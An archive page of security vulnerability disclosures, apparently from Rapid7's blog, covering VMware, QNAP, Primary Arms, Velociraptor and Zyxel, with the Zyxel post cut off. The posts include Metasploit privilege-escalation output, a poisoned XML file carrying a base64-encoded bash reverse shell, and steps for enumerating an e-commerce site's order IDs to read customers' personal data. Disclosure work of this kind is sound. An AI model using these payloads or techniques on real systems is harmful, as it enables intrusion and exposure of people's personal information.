Tag Archives: Vulnerability Disclosure

CVE-2022-31660 and CVE-2022-31661 (FIXED): VMware Workspace ONE Access, Identity Manager, and vRealize Automation LPE

Post Syndicated from Spencer McIntyre original https://blog.rapid7.com/2022/08/05/cve-2022-31660-and-cve-2022-31661-fixed-vmware-workspace-one-access-identity-manager-and-vrealize-automation-lpe/

CVE-2022-31660 and CVE-2022-31661 (FIXED): VMware Workspace ONE Access, Identity Manager, and vRealize Automation LPE

The VMware Workspace ONE Access, Identity Manager, and vRealize Automation products contain a locally exploitable vulnerability whereby the under-privileged horizon user can escalate their permissions to those of the root user. Notably, the horizon user runs the externally accessible web application. This means that remote code execution (RCE) within that component could be chained with this vulnerability to obtain remote code execution as the root user. At the time of this writing, CVE-2022-22954 is one such RCE vulnerability (that notably has a corresponding Metasploit module here) that can be easily chained with one or both of the issues described herein.

Product description

VMWare Workspace ONE Access is a platform that provides organizations with the means to provide their employees fast and easy access to applications they need. VMware Workspace ONE Access was formerly known as VMware Identity Manager.

Impact

These vulnerabilities are local privilege escalation flaws, and by themselves, present little risk in an otherwise secure environment. In both cases, the local user must be horizon for successful exploitation.

That said, it’s important to note that the horizon user runs the externally accessible web application, which has seen several recent vulnerabilities — namely CVE-2022-22954, which, when exploited, allows for remote code execution as the horizon user. Thus, chaining an exploit for CVE-2022-22954 with either of these vulnerabilities can allow a remote attacker to go from no access to root access in two steps.

Credit

These issues were disclosed by VMware on Tuesday, August 2, 2022 within the VMSA-2022-0021 bulletin. In June, Spencer McIntyre of Rapid7 discovered these issues while researching an unrelated vulnerability. They were disclosed in accordance with Rapid7’s vulnerability disclosure policy.

CVE-2022-31660

CVE-2022-31660 arises from the fact that the permissions on the file /opt/vmware/certproxy/bin/cert-proxy.sh are such that the horizon user is both the owner and has access to invoke this file.

To demonstrate and exploit this vulnerability, that file is overwritten, and then the following command is executed as the horizon user:

sudo /usr/local/horizon/scripts/certproxyService.sh restart

Note that, depending on the patch level of the system, the certproxyService.sh script may be located at an alternative path and require a slightly different command:

sudo /opt/vmware/certproxy/bin/certproxyService.sh restart

In both cases, the horizon user is able to invoke the certproxyService.sh script from sudo without a password. This can be verified by executing sudo -n --list. The certproxyService.sh script invokes the systemctl command to restart the service based on its configuration file. The service configuration file, located at /run/systemd/generator.late/vmware-certproxy.service, dispatches to /etc/rc.d/init.d/vmware-certproxy through the ExecStart and ExecStop directives, which in turn executes /opt/vmware/certproxy/bin/cert-proxy.sh.

Proof of concept

To demonstrate this vulnerability, a Metasploit module was written and submitted on GitHub in PR #16854.

With an existing Meterpreter session, no options other than the SESSION need to be specified. Everything else will be automatically determined at runtime. In this scenario, the original Meterpreter session was obtained with the module for CVE-2022-22954, released earlier this year.

[*] Sending stage (40132 bytes) to 192.168.159.98
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.98:42312) at 2022-08-02 16:26:16 -0400

meterpreter > sysinfo
Computer        : photon-machine
OS              : Linux 4.19.217-1.ph3 #1-photon SMP Thu Dec 2 02:29:27 UTC 2021
Architecture    : x64
System Language : en_US
Meterpreter     : python/linux
meterpreter > getuid
Server username: horizon
meterpreter > background 
[*] Backgrounding session 1...
msf6 exploit(linux/http/vmware_workspace_one_access_cve_2022_22954) > use exploit/linux/local/vmware_workspace_one_access_certproxy_lpe 
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(linux/local/vmware_workspace_one_access_certproxy_lpe) > set SESSION -1
SESSION => -1
msf6 exploit(linux/local/vmware_workspace_one_access_certproxy_lpe) > run

[*] Started reverse TCP handler on 192.168.250.134:4444 
[*] Backing up the original file...
[*] Writing '/opt/vmware/certproxy/bin/cert-proxy.sh' (601 bytes) ...
[*] Triggering the payload...
[*] Sending stage (40132 bytes) to 192.168.250.237
[*] Meterpreter session 2 opened (192.168.250.134:4444 -> 192.168.250.237:63493) at 2022-08-02 16:26:57 -0400
[*] Restoring file contents...
[*] Restoring file permissions...

meterpreter > getuid
Server username: root
meterpreter >

CVE-2022-31661

CVE-2022-31660 arises from the fact that the /usr/local/horizon/scripts/getProtectedLogFiles.hzn script can be run with root privileges without a password using the sudo command. This script in turn will recursively change the ownership of a user-supplied directory to the horizon user, effectively granting them write permissions to all contents.

To demonstrate and exploit this vulnerability, we can execute the following command as the horizon user:

sudo /usr/local/horizon/scripts/getProtectedLogFiles.hzn exportProtectedLogs /usr/local/horizon/scripts/

At this point, the horizon user has write access (through ownership) to a variety of scripts that also have the right to invoke using sudo without a password. These scripts can be verified by executing sudo -n --list. A careful attacker would have backed up the ownership information for each file in the directory they intend to target and restored them once they had obtained root-level permissions.

The root cause of this vulnerability is that the exportProtectedLogs subcommand invokes the getProtectedLogs function that will change the ownership information to the TOMCAT_USER, which happens to be horizon.

Excerpt from getProtectedLogFiles.hzn:

function getProtectedLogs()
{
    chown ${TOMCAT_USER}:${TOMCAT_GROUP} $TARGET_DIR_LOCATION
    rm -f $TARGET_DIR_LOCATION/messages*
    rm -f $TARGET_DIR_LOCATION/boot*
    rm -rf $TARGET_DIR_LOCATION/journal*

    cp $VAR_LOG_MESSAGES* $TARGET_DIR_LOCATION
    cp $BOOT_LOG_MESSAGES* $TARGET_DIR_LOCATION
    chown -R ${TOMCAT_USER}:${TOMCAT_GROUP} $TARGET_DIR_LOCATION/

}

Remediation

Users should apply patches released in VMSA-2022-0021 to remediate these vulnerabilities. If they are unable to, users should segment the appliance from remote access, especially if known issues in the web front end like CVE-2022-22954 also remain unpatched.

Note that fixing these vulnerabilities helps shore up internal, local defenses against attacks targeting external interfaces. For practical purposes, these issues are merely internal, local privilege escalation issues, so enterprises running VMWare Workspace One Access installations with current patch levels should schedule updates addressing these issues as part of routine patch cycles.

Rapid7 customers

InsightVM and Nexpose customers can assess their exposure to vulnerabilities described in VMSA-2022-0021 with authenticated, version-based coverage released on August 4, 2022 (ContentOnly-content-1.1.2606-202208041718).

Disclosure timeline

  • May 20, 2022 – Issue discovered by Spencer McIntyre of Rapid7
  • June 28, 2022 – Rapid7 discloses the vulnerability to VMware
  • June 29, 2022 – VMware acknowledges receiving the details and begins an * investigation
  • June 30, 2022 – VMware confirms that they have reproduced the issues, requests that Rapid7 not involve CERT for simplicity’s sake
  • July 1, 2022 – Rapid7 replies, agreeing to leave CERT out
  • July 22, 2022 – VMware states they will publish an advisory once the issues have been fixed, asks whom to credit
  • July 22, 2022 – Rapid7 responds confirming credit, inquires about a target date for a fix
  • August 2, 2022 – VMware discloses these vulnerabilities as part of VMSA-2022-0021 (without alerting Rapid7 of pending disclosure)
  • August 2, 2022 – Metasploit module submitted on GitHub in PR #16854
  • August 5, 2022 – This disclosure blog

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.

QNAP Poisoned XML Command Injection (Silently Patched)

Post Syndicated from Jake Baines original https://blog.rapid7.com/2022/08/04/qnap-poisoned-xml-command-injection-silently-patched/

Background

QNAP Poisoned XML Command Injection (Silently Patched)

CVE-2020-2509 was added to CISA’s Known Exploited Vulnerabilities Catalog in April 2022, and it was listed as one of the “Additional Routinely Exploited Vulnerabilities in 2021” in CISA’s 2021 Top Routinely Exploited Vulnerabilities alert. However, CVE-2020-2509 has no public exploit, and no other organizations have publicly confirmed exploitation in the wild.

QNAP Poisoned XML Command Injection (Silently Patched)

CVE-2020-2509 is allegedly an unauthenticated remote command injection vulnerability affecting QNAP Network Attached Storage (NAS) devices using the QTS operating system. The vulnerability was discovered by SAM and publicly disclosed on March 31, 2021. Two weeks later, QNAP issued a CVE and an advisory.

Neither organization provided a CVSS vector to describe the vulnerability. QNAP’s advisory doesn’t even indicate the vulnerable component. SAM’s disclosure says they found the vulnerability when they “fuzzed” the web server’s CGI scripts (which is not generally the way you discover command injection vulnerabilities, but I digress). SAM published a proof-of-concept video that allegedly demonstrates exploitation of the vulnerability, although it doesn’t appear to be a typical straightforward command injection. The recorded exploit downloads BusyBox to establish a reverse shell, and it appears to make multiple requests to accomplish this. That’s many more moving parts than a typical command injection exploit. Regardless, beyond affected versions, there are essentially no usable details for defender or attackers in either disclosure.

Given the ridiculous amount of internet-facing QNAP NAS (350,000+), seemingly endless ransomware attacks on the systems (Qlocker, Deadbolt, and Checkmate), and the mystery surrounding alleged exploitation in the wild of CVE-2020-2509, we decided to find out exactly what CVE-2020-2509 is. Instead, we found the below, which may be an entirely new vulnerability.

Poisoned XML command injection (CVE-2022-XXXX)



QNAP Poisoned XML Command Injection (Silently Patched)

The video demonstrates exploitation of an unauthenticated and remote command injection vulnerability on a QNAP TS-230 running QTS 4.5.1.1480 (reportedly the last version affected by CVE-2020-2509). We were unable to obtain the first patched version, QTS 4.5.1.1495, but we were able to confirm this vulnerability was patched in QTS 4.5.1.1540. However, we don’t think this is CVE-2020-2509. The exploit in the video requires the attacker be a man-in-the-middle or have performed a DNS hijack of update.qnap.com. In the video, our lab network’s Mikrotik router has a malicious static DNS entry for update.qnap.com.

QNAP Poisoned XML Command Injection (Silently Patched)

SAM and QNAP’s disclosures didn’t mention any type of man-in-the-middle or DNS hijacks. But neither disclosure ruled it out either. CVSS vectors are great for this sort of thing. If either organization had published a vector with an Attack Complexity of high, we’d know this “new” vulnerability is CVE-2020-2509. If they’d published a vector with Attack Complexity of low, we’d know this “new” vulnerability is not CVE-2020-2509. The lack of a vector leaves us unsure. Only CISA’s claim of widespread exploitation leads us to believe this is not is CVE-2020-2509. However, this “new” vulnerability is still a high-severity issue. It could reasonably be scored as CVSSv3 8.1 (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H). While the issue was patched 15 to 20 months ago (patches for CVE-2021-2509 were released in November 2020 and April 2021), there are still thousands of internet-facing QNAP devices that remain unpatched against this “new” issue. As such, we are going to describe the issue in more detail.

Exploitation and patch

The “new” vulnerability can be broken down into two parts:

A remote and unauthenticated attacker can force a QNAP device to make an HTTP request to update.qnap.com, without using SSL, in order to download an XML file. Content from the downloaded XML file is passed to a system call without any sanitization.

Both of these issues can be found in the QNAP’s web server cgi-bin executable authLogin.cgi, but the behavior is triggered by a request to /cgi-bin/qnapmsg.cgi. Below is decompiled code from authLogin.cgi that highlights the use of HTTP to fetch a file.

QNAP Poisoned XML Command Injection (Silently Patched)

Using wget, the QNAP device will download a language-specific XML file such as http://update.qnap.com/loginad/qnapmsg_eng.xml, where eng can be a variety of different values (cze, dan, ger, spa, fre, ita, etc.). When the XML has been downloaded, the device then parses the XML file. When the parser encounters <img> tags, it will attempt to download the associated image using wget.

QNAP Poisoned XML Command Injection (Silently Patched)

The <img> value is added to a wget command without any type of sanitization, which is a very obvious command injection issue.

QNAP Poisoned XML Command Injection (Silently Patched)

The XML, if downloaded straight from QNAP, looks like the following (note that it appears to be part of an advertisement system built into the device):

<?xml version="1.0" encoding="utf-8"?>
<Root>
  <Messages>
    <Message>
      <img>http://update.qnap.com/loginad/image/1_eng.jpg</img>
      <link>http://www.qnap.com/en/index.php?lang=en&amp;sn=822&amp;c=351&amp;sc=513&amp;t=520&amp;n=18168</link>
    </Message>
    <Message>
      <img>http://update.qnap.com/loginad/image/4_eng.jpg</img>
      <link>http://www.qnap.com/en/index.php?lang=en&amp;sn=8685</link>
    </Message>
    <Message>
      <img>http://update.qnap.com/loginad/image/2_eng.jpg</img>
      <link>http://www.facebook.com/QNAPSys</link>
    </Message>
  </Messages>
</Root>

Because of the command injection issue, a malicious attacker can get a reverse shell by providing an XML file that looks like the following. The command injection is performed with backticks, and the actual payload (a bash reverse shell using /dev/tcp) is base64 encoded because / is a disallowed character.

​​<?xml version="1.0" encoding="utf-8"?>
<Root>
	<Messages>
		<Message>
			<img>/`echo -ne 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMi43MC4yNTIvMTI3MCAwPiYx' | base64 -d | sh`</img>
			<link>http://www.qnap.com/></link>
		</Message>
	</Messages>
</Root>

An attacker can force a QNAP device to download the XML file by sending the device an HTTP request similar to http://device_ip/cgi-bin/qnapmsg.cgi?lang=eng. Here, again, eng can be replaced by a variety of languages.

Obviously, the number one challenge to exploit this issue is getting the HTTP requests for update.qnap.com routed to an attacker-controlled system.

QNAP Poisoned XML Command Injection (Silently Patched)

Becoming a man-in-the-middle is not easy for a normal attacker. However, APT groups have consistently demonstrated that man-in-the-middle attacks are a part of normal operations. VPNFilter, FLYING PIG, and the Iranian Digator incident are all historical examples of APT attacking (or potentially attacking) via man-in-the-middle. An actor that has control of any router between the QNAP and update.qnap.com can inject the malicious XML we provided above. This, in turn, allows them to execute arbitrary code on the QNAP device.

QNAP Poisoned XML Command Injection (Silently Patched)

The other major attack vector is via DNS hijacking. For this vulnerability, the most likely DNS hijack attacks that don’t require man-in-the-middling are router DNS hijack or third-party DNS server compromise. In the case of a router DNS hijack, the attacker exploits a router and instructs it to tell all connected devices to use a malicious DNS server or malicious static routes (similar to our lab setup). Third-party DNS server compromise is more interesting because of its ability to scale. Both Mandiant and Talos have observed this type of DNS hijack in the wild. When a third-party DNS server is compromised, an attacker is able to introduce malicious entries to the DNS server.

QNAP Poisoned XML Command Injection (Silently Patched)

So, while there is some complexity to exploiting this issue, those complications are easily defeated by a moderately skilled attacker — which calls into question why QNAP didn’t issue an advisory and CVE for this issue. Presumably they knew about the vulnerability, because they made two changes to fix it. First, the insecure HTTP request for the XML was changed to a secure HTTPS request. That prevents all but the most advanced attackers from masquerading as update.qnap.com. Additionally, the image download logic was updated to use an execl wrapper called qnap_exec instead of system, which mitigates command injection issues.

QNAP Poisoned XML Command Injection (Silently Patched)

Indicators of compromise

This attack does leave indicators of compromise (IOCs) on disk. A smart attacker will clean up these IOCs, but they may be worth checking for. The downloaded XML files are downloaded to /home/httpd/RSS/rssdoc/. The following is an example of the malicious XML from our proof-of-concept video:

[[email protected] rssdoc]$ ls -l
total 32
-rw-r--r-- 1 admin administrators     0 2022-07-27 19:57 gen_qnapmsg_eng.xml
drwxrwxrwx 2 admin administrators  4096 2022-07-26 18:39 image/
-rw-r--r-- 1 admin administrators     8 2022-07-27 19:57 last_uptime.qnapmsg_eng.xml
-rw-r--r-- 1 admin administrators   229 2022-07-27 19:57 qnapmsg_eng.xml
-rw-r--r-- 1 admin administrators 18651 2022-07-27 16:02 wget.log
[[email protected] rssdoc]$ cat qnapmsg_eng.xml 
<?xml version="1.0" encoding="utf-8"?>
<Root>
<Messages>
<Message><img>/`(echo -ne 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMi43MC4yNTIvMTI3MCAwPiYx' | base64 -d | sh)&`</img><link>http://www.qnap.com/</link></Message></Messages></Root>

Similarly, an attack can leave an sh process hanging in the background. Search for malicious ones using ps | grep wget. If you see anything like the following, it’s a clear IOC:

[[email protected] rssdoc]$ ps | grep wget
10109 albinolo    476 S   grep wget
12555 admin      2492 S   sh -c /usr/bin/wget -t 1 -T 5 /`(echo -ne
'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMi43MC4yNTIvMTI3MCAwPiYx' | base64 -d |
sh)` -O /home/httpd/RSS/rssdoc/image/`(echo -ne
'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMi43MC4yNTIvMTI3MCAwPiYx' | base64 -d |
sh)`.tmp 1>>/dev/null 2>>/dev/null

Conclusion

Perhaps what we’ve described here is in part CVE-2020-2509, and that explains the lack of advisory from QNAP. Or maybe it’s one of the many other command injections that QNAP has assigned a CVE but failed to describe, and therefore denied users the chance to make informed choices about their security. It’s impossible to know because QNAP publishes almost no details about any of their vulnerabilities — a practice that might thwart some attackers, but certainly harms defenders trying to identify and monitor these attacks in the wild, as well as defenders who have to help clean up the myriad ransomware cases that are affecting QNAP devices.

SAM did not owe us a good disclosure (which is fortunate, because they didn’t give us one), but QNAP did. SAM was successful in ensuring the issue got fixed, and they held the vendor to a coordinated disclosure deadline (which QNAP consequently failed to meet). We should all be grateful to SAM: Even if their disclosure wasn’t necessarily what we wanted, we all benefited from their work. It’s QNAP that owes us, the customers and security industry, good disclosures. Vendors who are responsible for the security of their products are also responsible for informing the community of the seriousness of vulnerabilities that affect those products. When they fail to do this — for example by failing to provide advisories with basic descriptions, affected components, and industry-standard metrics like CVSS — they deny their current and future users full autonomy over the choices they make about risk to their networks. This makes us all less secure.

Disclosure timeline

  • July, 2022: Researched and discovered by Jake Baines of Rapid7
  • Thu, Jul 28, 2022: Disclosed to QNAP, seeking a CVE ID
  • Sun, Jul 31, 2022: Automated response from vendor indicating they have moved to a new support ticket system and ticket should be filed with that system. Link to new ticketing system merely sends Rapid7 to QNAP’s home page.
  • Tue, Aug 2, 2022: Rapid7 informs QNAP via email that their support link is broken and Rapid7 will publish this blog on August 4, 2022.
  • Tue, Aug 2, 2022: QNAP responds directing Rapid7 to the advisory for CVE-2020-2509.
  • Thu, Aug 4, 2022: This public disclosure

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.

Additional reading:

Primary Arms PII Disclosure via IDOR

Post Syndicated from Tod Beardsley original https://blog.rapid7.com/2022/08/02/primary-arms-pii-disclosure-via-idor/

Primary Arms PII Disclosure via IDOR

The Primary Arms website, a popular e-commerce site dealing in firearms and firearms-related merchandise, suffers from an insecure direct object reference (IDOR) vulnerability, which is an instance of CWE-639: Authorization Bypass Through User-Controlled Key.

Rapid7 is disclosing this vulnerability with the intent of providing information that has the potential to help protect the people who may be affected by it – in this case, Primary Arms users. Rapid7 regularly conducts vulnerability research and disclosure on a wide variety of technologies with the goal of improving cybersecurity. We typically disclose vulnerabilities to the vendor first, and in many cases, vulnerability disclosure coordinators like CERT/CC.  In situations where our previous disclosure through the aforementioned channels does not result in progress towards a solution or fix, we disclose unpatched vulnerabilities publicly. In this case, Rapid7 reached out to Primary Arms and federal and state agencies multiple times over a period of months (see “Disclosure Timeline,” below), but the vulnerability has yet to be addressed.

Vulnerabilities in specific websites are usually unremarkable, don’t usually warrant a CVE identifier, and are found and fixed every day. However, Rapid7 has historically publicized issues that presented an outsized risk to specific populations, were popularly mischaracterized, or remained poorly addressed by those most responsible. Some examples that leap to mind are the issues experienced by Ashley Madison and Grindr users, as well as a somewhat similar Yopify plugin issue for Shopify-powered e-commerce sites.

If exploited, this vulnerability has the potential to  allow an authorized user to view the personally identifiable information (PII) of Primary Arms customers, including their home address, phone number, and tracking information of purchases. Note that “authorized users” includes all Primary Arms customers, and user account creation is free and unrestricted.

Because this is a vulnerability on a single website, no CVE identifier has been assigned for this issue. We estimate the CVSSv3.1 calculation to be 4.3 (AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N) or 5.3 (PR:N) if one considers this vulnerability is exploitable by any person able to complete a web form.

Product description

Primary Arms is an online firearms and firearms accessories retailer based in Houston, Texas. According to their website, they cater to “firearms enthusiasts, professional shooters, and servicemen and women” and ship firearms to holders of a Federal Firearms License (FFL). The website is built with NetSuite SuiteCommerce.

Discoverer

This issue was discovered by a Rapid7 security researcher and penetration tester through the normal course of personal business as a customer of Primary Arms. It is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Exploitation

An authenticated user can inspect the purchase information of other Primary Arms customers by manually navigating to a known or guessed record sales order URL, as demonstrated in the series of screenshots below.

First, in order to demonstrate the vulnerability, I created an account with the username [email protected], which I call “FakeTod FakeBeardsley.”

Primary Arms PII Disclosure via IDOR

Note that FakeTod has no purchase history:

Primary Arms PII Disclosure via IDOR

Next, I’ll simply navigate to the URL of a real purchase, made under my “real” account. An actual attacker would need to learn or guess this URL, which may be easy or difficult (see Impact, below). The screenshot below is a (redacted) view of that sales order receipt.

Primary Arms PII Disclosure via IDOR

The redacted URL is hxxps://www.primaryarms.com/sca-dev-2019-2/my_account.ssp#purchases/view/salesorder/85460532, and the final 8-digit salesorder value is the insecure direct object reference. In this case, we can see:

  • Customer name
  • Purchased item
  • Last four digits and issuer of the credit card used
  • Billing address and phone number

Manipulating this value produces other sets of PII from other customers, though the distribution is non-uniform and currently unknown (see below, under Impact, for more information).

If a given salesorder reference includes a shipped item, that tracking information is also displayed, as shown in this redacted example:

Primary Arms PII Disclosure via IDOR

Depending on the carrier and the age of the ordered item, this tracking information could then be used to monitor and possibly intercept delivery of the shipped items.

Root cause

The landing page for primaryarms.com and other pages have this auto-generated comment in the HTML source:

<!-- SuiteCommerce [ prodbundle_id "295132" ] [ baselabel "SC_2019.2" ] [ version "2019.2.3.a" ] [ datelabel "2020.00.00" ] [ buildno "0" ] -->
<!-- 361 s: 25% #59 cache: 4% #17 -->
<!-- Host [ sh14.prod.bos ] App Version [ 2022.1.15.30433 ] -->
<!-- COMPID [ 3901023 ] URL [ /s.nl ] Time [ Mon Jul 11 09:33:51 PDT 2022 ] -->
<!-- Not logging slowest SQL -->

This indicates a somewhat old version of SuiteCommerce, from 2019, being run in production. It’s hard to say for sure that this is the culprit of the issue, or even if this comment is accurate, but our colleagues at CERT/CC noticed that NetSuite released an update in 2020 that addressed CVE-2020-14728, which may be related to this IDOR.

Outside of this hint, the root cause of this issue is unknown at the time of this writing. It may be as straightforward as updating the local NetSuite instance, or there may be more local configuration needed to ensure that sales order receipts require proper authentication in order to read them.

Post-authentication considerations

Note that becoming an authenticated user is trivial for the Primary Arms website. New users are invited to create an account, and while a validly formatted email address is required, it is not authenticated. In the example gathered here, the simulated attacker, FakeTod, has the nonexistent email address of [email protected]. Therefore, there is no practical difference between an unauthenticated user and an authenticated user for the purpose of exploitation.

Impact

By exploiting this vulnerability, an attacker can learn the PII of likely firearms enthusiasts. However, exploiting this vulnerability at a reasonable scale may prove somewhat challenging.

Possible valid IDOR values

It is currently unknown how the salesorder values are generated, as Rapid7 has conducted very limited testing in order to merely validate the existence of the IDOR issue. We’re left with two possibilities.

It is the likely case that the salesorder values are sequential, start at a fixed point in the 8-digit space, and increment with every new transaction in a predictable way. If this is the case, exhausting the possible space of valid IDOR values is fairly trivial — only a few seconds to automate the discovery of newly created sales order records, and a few minutes to gather all past records. While limited testing indicates salesorder values are sequential, there are gaps in the sequence, likely due to abandoned and partial orders. We have not fully explored the attack surface of this issue out of an abundance of caution and restraint.

In the worst case (for the attacker), the numbers may be purely random out of a space of 100 million possibles. This seems unlikely according to Rapid7’s limited testing. If this is the case, however, exhausting the entire space for all records would take about two years, assuming an average of 100 queries per second (this probing would be noticeable by the website operators assuming normal website instrumentation).

The truth of the salesorder value generation is probably somewhere closer to the former than the latter, given past experience with similar bugs of this nature, which leads us to this disclosure in the interest of public safety, documented in the next section.

Possible attacks

We can imagine a few scenarios where attackers might find this collection of PII useful. The most obvious attack would be a follow-on phishing attack, identity theft, or other confidence scam, since PII is often useful in executing successful social engineering attacks. An attacker could pose as Primary Arms, another related organization, or the customer and be very convincing in such identity (to a third-party) when armed with the name, address, phone number, last four digits of a credit card, and recent purchase history.

Additionally, typical Primary Arms customers are self-identified firearms owners and enthusiasts. A recent data breach in June of 2022 involving California Conceal Carry License holders caused a stir among firearms enthusiasts, who worry that breach would lead to “increase the risk criminals will target their homes for burglaries.”

Indeed, if it is possible to see recent transactions (again, depending on how salesorder values are generated), especially those involving FFL holders, it may be possible for criminals to intercept firearms and firearms accessories in transit by targeting specific delivery addresses.

Finally, there is the potential that domestic terrorist organizations and foreign intelligence operations could use this highly specialized PII in recruiting, disinformation, and propaganda efforts.

Remediation

As mentioned above, it would appear that only Primary Arms is in a position to address this issue. We suspect this issue may be resolved by using a more current release of NetSuite SuiteCommerce. A similar e-commerce site, using similar technology but with a more updated version of SuiteCommerce, appears to not be subject to this specific attack technique, so it’s unlikely this is a novel vulnerability in the underlying web technology stack.

Customers affected by this issue are encouraged to try to contact Primary Arms, either by email to [email protected], or by calling customer service at +1 713.344.9600.

Disclosure timeline

At the time of this writing, Primary Arms has not been responsive to disclosure efforts by Rapid7, CERT/CC, or TX-ISAO.

  • May 2022 – Issue discovered by a Rapid7 security researcher
  • Mon, May 16, 2022 – Initial contact to Primary Arms at [email protected]
  • Wed, May 25, 2022 – Attempt to contact Primary Arms CTO via guessed email address
  • Wed, May 25, 2022 – Internal write-up of IDOR issue completed and validated
  • Thu, May 26, 2022 – Attempt to contact Primary Arms CEO via guessed email address
  • Tue, May 31, 2022 – Called customer support, asked for clarification on contact, reported issue
  • Thu, Jun 1, 2022 – Notified CERT/CC via [email protected] asking for advice
  • Fri, Jun 10, 2022  – Opened a case with CERT/CC, VRF#22-06-QFRZJ
  • Thu, Jun 16, 2022  – CERT/CC begins investigation and disclosure attempts, VU#615142
  • June-July 2022 – Collaboration with CERT/CC to validate and scope the issue
  • Mon, Jul 11, 2022 – Completed disclosure documentation presuming no contact from Primary Arms
  • Tue, Jul 12, 2022 – Sent a paper copy of this disclosure to Primary Arms via certified US mail, tracking number: 420770479514806664112193691642
  • Thu, Jul 14, 2022 – Disclosed details to the Texas Information Sharing and Analysis Organization (TX-ISAO), Report #ISAO-CT-0052
  • Mon, Jul 18, 2022 – Paper copy received by Primary Arms
  • Tue, Aug 2, 2022 – This public disclosure

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.

CVE-2022-35629..35632 Velociraptor Multiple Vulnerabilities (FIXED)

Post Syndicated from Mike Cohen original https://blog.rapid7.com/2022/07/26/cve-2022-35629-35632-velociraptor-multiple-vulnerabilities-fixed/

CVE-2022-35629..35632 Velociraptor Multiple Vulnerabilities (FIXED)

This advisory covers a number of issues identified in Velociraptor and disclosed by a security code review performed by Tim Goddard from CyberCX. We also thank Rhys Jenkins for working with the Velociraptor team to identify and rectify these issues. All of these identified issues have been fixed as of Version 0.6.5-2, released July 26, 2022.

CVE-2022-35629: Velociraptor client ID spoofing

Velociraptor uses client IDs to identify each client uniquely. The client IDs are derived from the client’s own cryptographic key and so usually require this key to be compromised in order to spoof another client.

Due to a bug in the handling of the communication between the client and server, it was possible for one client, already registered with their own client ID, to send messages to the server claiming to come from another client ID. This may allow a malicious client to attribute messages to another victim client ID (for example, claiming the other client contained some indicator or other data).

The impact of this issue is low because a successful exploitation would require:

  1. The malicious client to identify a specific host’s client ID – since client IDs are random, it is unlikely that an attacker could guess a valid client ID. Client IDs are also not present in network communications, so without access to the Velociraptor server, or indeed the host’s Velociraptor client writeback file, it is difficult to discover the client ID.
  2. Each collection of new artifacts from the client contains a unique random “flow ID.” In order to insert new data into a valid collection, the malicious client will need to guess the flow ID for a valid current flow. Therefore, this issue is most likely to affect client event monitoring feeds, which do not contain random flow IDs.

CVE-2022-35630: Unsafe HTML injection in artifact collection report

Velociraptor allows the user to export a “collection report” in HTML. This is a standalone HTML file containing a summary of the collection. The server will generate the HTML file, and the user’s browser will download it. Users then open the HTML file from their local disk.

A cross-site scripting (XSS) issue in generating this report made it possible for malicious clients to inject JavaScript code into the static HTML file.

The impact of this issue is considered low because the file is served locally (i.e. from a file:// URL) and so does not have access to server cookies or other information (although it may facilitate phishing attacks). This feature is also not used very often.

CVE-2022-35631: Filesystem race on temporary files

The Velociraptor client uses a local buffer file to store data it is unable to deliver to the server quickly enough. Although the file is created with restricted permissions, the filename is predictable (and stored in the client’s configuration file).

On MacOS and Linux, it may be possible to perform a symlink attack by replacing this predictable file name with a symlink to another file and have the Velociraptor client overwrite the other file.

This issue can be mitigated by using an in-memory buffer mechanism instead, or specifying that the buffer file should be created in a directory only writable by root. Set the Client.local_buffer.filename_linux to an empty string, or a directory only writable by root.

By default, on Windows, the buffer file is stored in C:\Program Files\Velociraptor\Tools, which is created with restricted permissions only writable by Administrators. Therefore, Windows clients in the default configuration are not affected by this issue.

CVE-2022-35632: XSS in user interface

The Velociraptor GUI contains an editor suggestion feature that can be used to offer help on various functions. It can also display the description field of a VQL function, plugin or artifact. This field was not properly sanitized and can lead to cross-site scripting (XSS).

Prior to the 0.6.5 release, the artifact description was also sent to this function, but after 0.6.5, this is no longer the case for performance reasons.

On servers older than 0.6.5, an authenticated attacker with the ARTIFACT_WRITER permission (usually only given to administrators) could create an artifact with raw HTML in the description field and trigger this XSS. Servers with version 0.6.5 or newer are not affected by this issue.

Remediation

To remediate these vulnerabilities, Velociraptor users should upgrade their servers.

Disclosure timeline

July, 2022: Issues discovered by Tim Goddard from CyberCX

July 11, 2022: Vulnerabilities disclosed by CyberCX

July 12, 2022: Validated by Rapid7/Velocidex

July 26, 2022: Fixes released in version 0.6.5-2

July 26, 2022: Rapid7 publishes this advisory

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.

CVE-2022-30526 (Fixed): Zyxel Firewall Local Privilege Escalation

Post Syndicated from Jake Baines original https://blog.rapid7.com/2022/07/19/cve-2022-30526-fixed-zyxel-firewall-local-privilege-escalation/

CVE-2022-30526 (Fixed): Zyxel Firewall Local Privilege Escalation

Rapid7 discovered a local privilege escalation vulnerability affecting Zyxel firewalls. The vulnerability allows a low privileged user, such as nobody, to escalate to root on affected firewalls. To exploit this vulnerability, a remote attacker must first establish shell access on the firewall, for example by exploiting CVE-2022-30525.

The following table contains the known affected models.

Affected Model
USG FLEX 100, 100W, 200, 500, 700
USG20-VPN, USG20W-VPN
ATP 100, 200, 500, 700, 800
VPN 50, 100, 300, 1000

Patching CVE-2022-30525 and removing the firewall administration interface from the internet should significantly reduce the risk of this vulnerability being exploited.

Product Description

The affected firewalls are advertised for both small branch and corporate headquarter deployments. They offer VPN solutions, SSL inspection, web filtering, intrusion protection, email security, and advertise up to 5 Gbps throughput through the firewall.

CVE-2022-30526: Local Privilege Escalation

In our previous disclosure of CVE-2022-30525, we demonstrated an attack that allowed a remote and unauthenticated attacker to execute commands as nobody. CVE-2022-30526 allows nobody to become root. This is achieved using a suid binary named zysudo.suid.

bash-5.1$ zysudo.suid
zysudo.suid
Usage: zysudo.suid <command> <arg1> <arg2> ...
	The maximum number of argument is 16

zysudo.suid allows a low privileged user to execute an allow-list of commands with root privileges. The allow list is fairly long:

/sbin/iptables -L
/sbin/ip6tables -L
/sbin/ipset -L
/bin/touch
